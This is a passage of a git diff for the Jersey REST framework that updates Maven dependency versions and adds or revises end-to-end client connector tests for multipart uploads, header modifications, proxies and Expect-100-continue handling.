                             <link>https://jakartaee.github.io/rest/apidocs/3.0.0/</link>
                             <link>https://javaee.github.io/hk2/apidocs/</link>
+                            <link>https://eclipse-ee4j.github.io/jersey.github.io/apidocs/latest/jersey/</link>
                         </links>
                         <excludePackageNames>
-                            *.internal.*:*.tests.*
+                            *.internal.*:*.innate.*:*.tests.*
                         </excludePackageNames>
+                        <includeDependencySources>false</includeDependencySources>
+                        <dependencySourceIncludes>
+                            <dependencySourceInclude>org.glassfish.jersey.*:*</dependencySourceInclude>
+                        </dependencySourceIncludes>
                         <sourceFileExcludes>
                             <exclude>bundles/**</exclude>
                             <fileExclude>module-info.java</fileExclude>
@@ -1170,7 +1175,7 @@
                     <plugin>
                         <groupId>org.apache.maven.plugins</groupId>
                         <artifactId>maven-project-info-reports-plugin</artifactId>
-                        <version>3.1.1</version>
+                        <version>3.4.5</version>
                         <reportSets>
                             <reportSet>
                                 <reports>
@@ -1413,6 +1418,13 @@
                     <id>dash-licenses-snapshots</id>
                     <url>https://repo.eclipse.org/content/repositories/dash-licenses-snapshots/</url>
                     <snapshots>
+                        <enabled>false</enabled>
+                    </snapshots>
+                </pluginRepository>
+                <pluginRepository>
+                    <id>dash-licenses-releases</id>
+                    <url>https://repo.eclipse.org/content/repositories/dash-licenses-releases/</url>
+                    <snapshots>
                         <enabled>true</enabled>
                     </snapshots>
                 </pluginRepository>
@@ -1422,7 +1434,7 @@
                     <plugin>
                         <groupId>org.eclipse.dash</groupId>
                         <artifactId>license-tool-plugin</artifactId>
-                        <version>0.0.1-SNAPSHOT</version>
+                        <version>1.0.2</version>
                         <executions>
                             <execution>
                                 <id>license-check</id>
@@ -1735,6 +1747,16 @@
                 <version>${jetty.version}</version>
             </dependency>
             <dependency>
+                <groupId>org.eclipse.jetty.http2</groupId>
+                <artifactId>http2-client</artifactId>
+                <version>${jetty.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty.http2</groupId>
+                <artifactId>http2-http-client-transport</artifactId>
+                <version>${jetty.version}</version>
+            </dependency>
+            <dependency>
                 <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-server</artifactId>
                 <version>${jetty.version}</version>
@@ -2234,7 +2256,9 @@
         <arquillian.weld.version>3.0.1.Final</arquillian.weld.version> <!-- 3.0.2.Final fails microprofile TCK tests -->
         <!-- asm is now source integrated - keeping this property to see the version -->
         <!-- see core-server/src/main/java/jersey/repackaged/asm/.. -->
-        <asm.version>9.5</asm.version>
+        <asm.version>9.6</asm.version>
+        <!--required for spring (ext) modules integration -->
+        <aspectj.weaver.version>1.6.11</aspectj.weaver.version>
 <!--        <bnd.plugin.version>2.3.6</bnd.plugin.version>-->
         <bouncycastle.version>1.70</bouncycastle.version>
         <commons.io.version>2.13.0</commons.io.version>
@@ -2256,6 +2280,10 @@
         <org.codehaus.gmavenplus.version>3.0.0</org.codehaus.gmavenplus.version>
         <!-- end of versions extracted here due to maven-enforcer-plugin -->
 
+        <!-- micrometer -->
+        <micrometer.version>1.10.12</micrometer.version>
+        <micrometer-tracing.version>1.0.9</micrometer-tracing.version>
+
         <!-- microprofile -->
         <microprofile.config.version>3.0</microprofile.config.version>
         <microprofile.rest.client.version>3.0.1</microprofile.rest.client.version>
@@ -2271,7 +2299,7 @@
         <hk2.jvnet.osgi.version>org.jvnet.hk2.*;version="[2.5,4)"</hk2.jvnet.osgi.version>
         <httpclient.version>4.5.14</httpclient.version>
         <httpclient5.version>5.2.1</httpclient5.version>
-        <jackson.version>2.14.1</jackson.version>
+        <jackson.version>2.15.2</jackson.version>
         <javassist.version>3.29.2-GA</javassist.version>
         <jboss.logging.version>3.4.3.Final</jboss.logging.version>
         <jersey1.version>1.19.3</jersey1.version>
@@ -2310,7 +2338,7 @@
         <xerces.version>2.12.2</xerces.version>
 
         <!-- Graal VM       -->
-        <graalvm.version>20.3.10</graalvm.version>
+        <graalvm.version>20.3.11</graalvm.version>
 
         <!-- do not need CQs (below this line till the end of version properties)-->
         <gf.impl.version>6.2.5</gf.impl.version>
@@ -2345,8 +2373,8 @@
         <jaxrs.api.spec.version>3.0</jaxrs.api.spec.version>
         <jaxrs.api.impl.version>3.0.0</jaxrs.api.impl.version>
         <jetty.osgi.version>org.eclipse.jetty.*;version="[11,15)"</jetty.osgi.version>
-        <jetty.version>11.0.15</jetty.version>
-        <jetty9.version>9.4.51.v20230217</jetty9.version>
+        <jetty.version>11.0.17</jetty.version>
+        <jetty9.version>9.4.53.v20231009</jetty9.version>
         <jetty.plugin.version>11.0.15</jetty.plugin.version>
         <jetty.servlet.api.25.version>6.1.14</jetty.servlet.api.25.version>
         <jsonb.api.version>2.0.0</jsonb.api.version>
diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml
index 35dd31c..47d0276 100644
--- a/tests/e2e-client/pom.xml
+++ b/tests/e2e-client/pom.xml
@@ -157,6 +157,11 @@
             <scope>test</scope>
         </dependency>
         <dependency>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-netty-connector</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
             <groupId>org.glassfish.jersey.security</groupId>
             <artifactId>oauth1-signature</artifactId>
             <version>${project.version}</version>
@@ -233,6 +238,7 @@
                                 <configuration>
                                     <testExcludes>
                                         <testExclude>org/glassfish/jersey/tests/e2e/client/connector/proxy/Proxy*Test.java</testExclude>
+                                        <testExclude>org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java</testExclude>
                                     </testExcludes>
                                 </configuration>
                                 <goals>
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java
index 78ce436..b1fd1da 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java
@@ -37,6 +37,7 @@
 
 import org.glassfish.jersey.client.ClientRequest;
 import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider;
+import org.glassfish.jersey.message.internal.ReaderWriter;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
@@ -91,7 +92,7 @@
                 MultivaluedMap<String, String> httpHeaders,
                 InputStream entityStream) throws IOException, WebApplicationException {
             return clientRequestProvider.get() != null
-                    ? new Message(readFromAsString(entityStream, mediaType)) : new Message("failed");
+                    ? new Message(ReaderWriter.readFromAsString(entityStream, mediaType)) : new Message("failed");
         }
 
         @Override
@@ -108,7 +109,8 @@
                 MediaType mediaType,
                 MultivaluedMap<String, Object> httpHeaders,
                 OutputStream entityStream) throws IOException, WebApplicationException {
-            writeToAsString((clientRequestProvider.get() != null) ? message.text : "failed", entityStream, mediaType);
+            ReaderWriter
+                    .writeToAsString((clientRequestProvider.get() != null) ? message.text : "failed", entityStream, mediaType);
         }
     }
 
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
new file mode 100644
index 0000000..3cb45b9
--- /dev/null
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.client.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.HttpUrlConnectorProvider;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.BodyPartEntity;
+import org.glassfish.jersey.media.multipart.MultiPart;
+import org.glassfish.jersey.media.multipart.MultiPartFeature;
+import org.glassfish.jersey.message.internal.ReaderWriter;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.TestProperties;
+import org.glassfish.jersey.test.spi.TestHelper;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.DynamicContainer;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.TestFactory;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import java.util.stream.Stream;
+
+public class MultiPartTest {
+
+    private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName());
+
+    public static ConnectorProvider[] testData() {
+        int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 3 : 4;
+        final ConnectorProvider[] providers = new ConnectorProvider[size];
+        providers[0] = new HttpUrlConnectorProvider();
+        providers[1] = new NettyConnectorProvider();
+        providers[2] = new JdkConnectorProvider();
+        if (size == 4) {
+            providers[3] = new JettyConnectorProvider();
+        }
+        return providers;
+    }
+
+    @TestFactory
+    public Collection<DynamicContainer> generateTests() {
+        Collection<DynamicContainer> tests = new ArrayList<>();
+        for (ConnectorProvider provider : testData()) {
+            HttpMultipartTest test = new HttpMultipartTest(provider) {};
+            DynamicContainer container = TestHelper.toTestContainer(test,
+                    String.format("MultiPartTest (%s)", provider.getClass().getSimpleName()));
+            tests.add(container);
+        }
+        return tests;
+    }
+
+    public abstract static class HttpMultipartTest extends JerseyTest {
+        private final ConnectorProvider connectorProvider;
+        private static final String ENTITY = "hello";
+
+        public HttpMultipartTest(ConnectorProvider connectorProvider) {
+            this.connectorProvider = connectorProvider;
+        }
+
+        @Override
+        protected Application configure() {
+            set(TestProperties.RECORD_LOG_LEVEL, Level.WARNING.intValue());
+            enable(TestProperties.LOG_TRAFFIC);
+            return new ResourceConfig(MultipartResource.class)
+                    .register(MultiPartFeature.class)
+                    .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+        }
+
+        @Override
+        protected void configureClient(ClientConfig clientConfig) {
+            clientConfig.connectorProvider(connectorProvider);
+            clientConfig.register(MultiPartFeature.class);
+        }
+
+        @Path("/")
+        public static class MultipartResource {
+            @POST
+            @Path("/upload")
+            @Consumes(MediaType.MULTIPART_FORM_DATA)
+            public String upload(@Context HttpHeaders headers, MultiPart multiPart) throws IOException {
+                return ReaderWriter.readFromAsString(
+                        ((BodyPartEntity) multiPart.getBodyParts().get(0).getEntity()).getInputStream(),
+                        multiPart.getMediaType());
+            }
+        }
+
+        @Test
+        public void testMultipart() {
+            MultiPart multipart = new MultiPart().bodyPart(new BodyPart().entity(ENTITY));
+            multipart.setMediaType(MediaType.MULTIPART_FORM_DATA_TYPE);
+
+            for (int i = 0; i != 5; i++) {
+                try (Response r = target().register(MultiPartFeature.class)
+                        .path("upload")
+                        .request()
+                        .post(Entity.entity(multipart, multipart.getMediaType()))) {
+                    Assertions.assertEquals(Response.Status.OK.getStatusCode(), r.getStatus());
+                    Assertions.assertEquals(ENTITY, r.readEntity(String.class));
+                }
+            }
+        }
+    }
+}
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
index 551d72c..4e1b89e 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -102,16 +102,16 @@
 
     public static List<Object[]> testData() {
         return Arrays.asList(new Object[][] {
-                {new HttpUrlConnectorProvider(), true, false},
-                {new GrizzlyConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed
-                {new JettyConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed
-                {new ApacheConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed
-                {new Apache5ConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed
-                {new HttpUrlConnectorProvider(), true, true},
-                {new GrizzlyConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed
-                {new JettyConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed
-                {new ApacheConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed
-                {new Apache5ConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed
+                {new HttpUrlConnectorProvider(), true, true, false, false},
+                {new GrizzlyConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
+                {new JettyConnectorProvider(), true, false, false, false}, // change to true when JERSEY-2341 fixed
+                {new ApacheConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
+                {new Apache5ConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed
+                {new HttpUrlConnectorProvider(), true, true, true, true},
+                {new GrizzlyConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
+                {new JettyConnectorProvider(), true, false, true, false}, // change to true when JERSEY-2341 fixed
+                {new ApacheConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
+                {new Apache5ConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed
         });
     }
 
@@ -124,7 +124,7 @@
                 return;
             }
             RequestHeaderModificationsTemplateTest test = new RequestHeaderModificationsTemplateTest(
-                    (ConnectorProvider) arr[0], (boolean) arr[1], (boolean) arr[2]) {};
+                    (ConnectorProvider) arr[0], (boolean) arr[1], (boolean) arr[2], (boolean) arr[3], (boolean) arr[4]) {};
             tests.add(TestHelper.toTestContainer(test, String.format("%s (%s, %s, %s)",
                     RequestHeaderModificationsTemplateTest.class.getSimpleName(),
                     arr[0].getClass().getSimpleName(), arr[1], arr[2])));
@@ -135,13 +135,21 @@
     public abstract static class RequestHeaderModificationsTemplateTest extends JerseyTest {
         private final ConnectorProvider connectorProvider;
         private final boolean modificationSupported; // remove when JERSEY-2341 fixed
+        private final boolean modificationSupportedAsync; // remove when JERSEY-2341 fixed
+
         private final boolean addHeader;
+        private final boolean addHeaderAsync;
 
         public RequestHeaderModificationsTemplateTest(ConnectorProvider connectorProvider,
-                                              boolean modificationSupported, boolean addHeader) {
+                                                      boolean modificationSupported,
+                                                      boolean modificationSupportedAsync,
+                                                      boolean addHeader,
+                                                      boolean addHeaderAsync) {
             this.connectorProvider = connectorProvider;
             this.modificationSupported = modificationSupported;
+            this.modificationSupportedAsync = modificationSupportedAsync;
             this.addHeader = addHeader;
+            this.addHeaderAsync = addHeaderAsync;
         }
 
         @Override
@@ -159,27 +167,27 @@
         @Override
         protected void configureClient(ClientConfig clientConfig) {
             clientConfig.register(MyClientRequestFilter.class);
-            clientConfig.register(new MyWriterInterceptor(addHeader));
-            clientConfig.register(new MyMessageBodyWriter(addHeader));
             clientConfig.connectorProvider(connectorProvider);
         }
 
         @Test
         public void testWarningLogged() throws Exception {
-            Response response = requestBuilder().post(requestEntity());
-            assertResponse(response);
+            Response response = requestBuilder(addHeader).post(requestEntity());
+            assertResponse(response, modificationSupported, addHeader);
         }
 
         @Test
         public void testWarningLoggedAsync() throws Exception {
-            AsyncInvoker asyncInvoker = requestBuilder().async();
+            AsyncInvoker asyncInvoker = requestBuilder(addHeaderAsync).async();
             Future<Response> responseFuture = asyncInvoker.post(requestEntity());
             Response response = responseFuture.get();
-            assertResponse(response);
+            assertResponse(response, modificationSupportedAsync, addHeaderAsync);
         }
 
-        private Invocation.Builder requestBuilder() {
+        private Invocation.Builder requestBuilder(boolean addHeader) {
             return target(PATH)
+                    .register(new MyWriterInterceptor(addHeader))
+                    .register(new MyMessageBodyWriter(addHeader))
                     .request()
                     .header(REQUEST_HEADER_NAME_CLIENT, REQUEST_HEADER_VALUE_CLIENT)
                     .header(REQUEST_HEADER_MODIFICATION_SUPPORTED, modificationSupported && addHeader)
@@ -190,7 +198,7 @@
             return Entity.text(new MyEntity(QUESTION));
         }
 
-        private void assertResponse(Response response) {
+        private void assertResponse(Response response, boolean modificationSupported, boolean addHeader) {
             if (!modificationSupported) {
                 final String UNSENT_HEADER_CHANGES = "Unsent header changes";
                 LogRecord logRecord = findLogRecord(UNSENT_HEADER_CHANGES);
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
index 8c3bdc4..030119a 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2019 Banco do Brasil S/A. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -22,6 +22,7 @@
 import org.eclipse.jetty.server.Server;
 import org.eclipse.jetty.server.handler.AbstractHandler;
 import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.netty.connector.NettyClientProperties;
 import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
 import org.junit.jupiter.api.AfterAll;
 import org.junit.jupiter.api.Assertions;
@@ -49,7 +50,7 @@
     private static final String NO_PASS = "no-pass";
 
     protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new NettyConnectorProvider());
+        config.connectorProvider(new NettyConnectorProvider()).property(NettyClientProperties.FILTER_HEADERS_FOR_PROXY, false);
     }
 
     @Test
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
index efaf2ce..25368cb 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2019 Banco do Brasil S/A. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -71,7 +71,7 @@
     private static final String PROXY_URI = "http://127.0.0.1:9997";
     private static final String PROXY_USERNAME = "proxy-user";
     private static final String PROXY_PASSWORD = "proxy-password";
-    private static final String NO_PASS = "no-pass";
+    private static final String PROXY_NO_PASS = "proxy-no-pass";
 
     public static class ApacheConnectorProviderProxyTest extends ProxyTemplateTest {
         public ApacheConnectorProviderProxyTest()
@@ -137,7 +137,7 @@
         @Test
         public void testGetNoPass() {
             client().property(ClientProperties.PROXY_URI, ProxyTest.PROXY_URI);
-            try (Response response = target("proxyTest").request().header(NO_PASS, 200).get()) {
+            try (Response response = target("proxyTest").request().header(PROXY_NO_PASS, 200).get()) {
                 assertEquals(200, response.getStatus());
             }
         }
@@ -209,8 +209,8 @@
                            Request baseRequest,
                            HttpServletRequest request,
                            HttpServletResponse response) {
-            if (request.getHeader(NO_PASS) != null) {
-                response.setStatus(Integer.parseInt(request.getHeader(NO_PASS)));
+            if (request.getHeader(PROXY_NO_PASS) != null) {
+                response.setStatus(Integer.parseInt(request.getHeader(PROXY_NO_PASS)));
             } else if (request.getHeader("Proxy-Authorization") != null) {
                 String proxyAuthorization = request.getHeader("Proxy-Authorization");
                 String decoded = new String(Base64.getDecoder().decode(proxyAuthorization.substring(6).getBytes()),
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
new file mode 100644
index 0000000..db08f92
--- /dev/null
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.e2e.client.nettyconnector;
+
+import org.eclipse.jetty.server.Request;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.RequestEntityProcessing;
+import org.glassfish.jersey.client.http.Expect100ContinueFeature;
+import org.glassfish.jersey.netty.connector.NettyClientProperties;
+import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+
+public class Expect100ContinueTest /*extends JerseyTest*/ {
+
+    private static final String RESOURCE_PATH = "expect";
+
+    private static final String RESOURCE_PATH_NOT_SUPPORTED = "fail417";
+
+    private static final String RESOURCE_PATH_UNAUTHORIZED = "fail401";
+
+    private static final String RESOURCE_PATH_PAYLOAD_TOO_LARGE = "fail413";
+
+    private static final String RESOURCE_PATH_METHOD_NOT_SUPPORTED = "fail405";
+
+    private static final String ENTITY_STRING = "1234567890123456789012345678901234567890123456789012"
+           + "3456789012345678901234567890";
+
+    private static final Integer portNumber = 9997;
+
+    private static Server server;
+    @BeforeAll
+    public static void startExpect100ContinueTestServer() {
+        server = new Server(portNumber);
+        server.setHandler(new Expect100ContinueTestHandler());
+        try {
+            server.start();
+        } catch (Exception e) {
+
+        }
+    }
+
+    @AfterAll
+    public static void stopExpect100ContinueTestServer() {
+        try {
+            server.stop();
+        } catch (Exception e) {
+        }
+    }
+
+    private static Client client;
+    @BeforeEach
+    public void beforeEach() {
+        final ClientConfig config = new ClientConfig();
+        this.configureClient(config);
+        client = ClientBuilder.newClient(config);
+    }
+
+    private Client client() {
+        return client;
+    }
+
+    public WebTarget target(String path) {
+        return client().target(String.format("http://localhost:%d", portNumber)).path(path);
+    }
+
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new NettyConnectorProvider());
+    }
+
+    @Test
+    public void testExpect100Continue() {
+       final Response response =  target(RESOURCE_PATH).request().post(Entity.text(ENTITY_STRING));
+       assertEquals(200, response.getStatus(), "Expected 200"); //no Expect header sent - response OK
+    }
+
+    @Test
+    public void testExpect100ContinueChunked() {
+       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.basic())
+               .property(ClientProperties.REQUEST_ENTITY_PROCESSING,
+               RequestEntityProcessing.CHUNKED).request().post(Entity.text(ENTITY_STRING));
+       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+    }
+
+    @Test
+    public void testExpect100ContinueBuffered() {
+       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.basic())
+               .property(ClientProperties.REQUEST_ENTITY_PROCESSING,
+               RequestEntityProcessing.BUFFERED).request().header(HttpHeaders.CONTENT_LENGTH, 67000L)
+               .post(Entity.text(ENTITY_STRING));
+       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+    }
+
+    @Test
+    public void testExpect100ContinueCustomLength() {
+       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L))
+               .request().header(HttpHeaders.CONTENT_LENGTH, Integer.MAX_VALUE)
+               .post(Entity.text(ENTITY_STRING));
+       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+    }
+
+    @Test
+    public void testExpect100ContinueCustomLengthWrong() {
+       final Response response =  target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L))
+               .request().header(HttpHeaders.CONTENT_LENGTH, 99L)
+               .post(Entity.text(ENTITY_STRING));
+       assertEquals(200, response.getStatus(), "Expected 200"); //Expect header NOT sent - low request size
+    }
+
+    @Test
+    public void testExpect100ContinueCustomLengthProperty() {
+       final Response response =  target(RESOURCE_PATH)
+               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 555L)
+               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+               .register(Expect100ContinueFeature.withCustomThreshold(555L))
+               .request().header(HttpHeaders.CONTENT_LENGTH, 666L)
+               .post(Entity.text(ENTITY_STRING));
+       assertNotNull(response.getStatus()); //Expect header sent - No Content response
+    }
+
+    @Test
+    public void testExpect100ContinueRegisterViaCustomProperty() {
+       final Response response =  target(RESOURCE_PATH)
+               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+               .post(Entity.text(ENTITY_STRING));
+       assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response
+    }
+
+    @Test
+    public void testExpect100ContinueNotSupported() {
+       final Response response =  target(RESOURCE_PATH_NOT_SUPPORTED)
+               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+               .post(Entity.text(ENTITY_STRING));
+       assertEquals(417, response.getStatus(), "Expected 417"); //Expectations not supported
+    }
+
+    @Test
+    public void testExpect100ContinueUnauthorized() {
+       assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_UNAUTHORIZED)
+               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+               .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
+               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+               .post(Entity.text(ENTITY_STRING)));
+    }
+
+    @Test
+    public void testExpect100ContinuePayloadTooLarge() {
+        assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_PAYLOAD_TOO_LARGE)
+               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+               .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
+               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+               .post(Entity.text(ENTITY_STRING)));
+    }
+
+    @Test
+    public void testExpect100ContinueMethodNotSupported() {
+        assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_METHOD_NOT_SUPPORTED)
+               .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L)
+               .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE)
+               .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000)
+               .request().header(HttpHeaders.CONTENT_LENGTH, 44L)
+               .post(Entity.text(ENTITY_STRING)));
+    }
+
+    static class Expect100ContinueTestHandler extends AbstractHandler {
+        @Override
+        public void handle(String target,
+                           Request baseRequest,
+                           HttpServletRequest request,
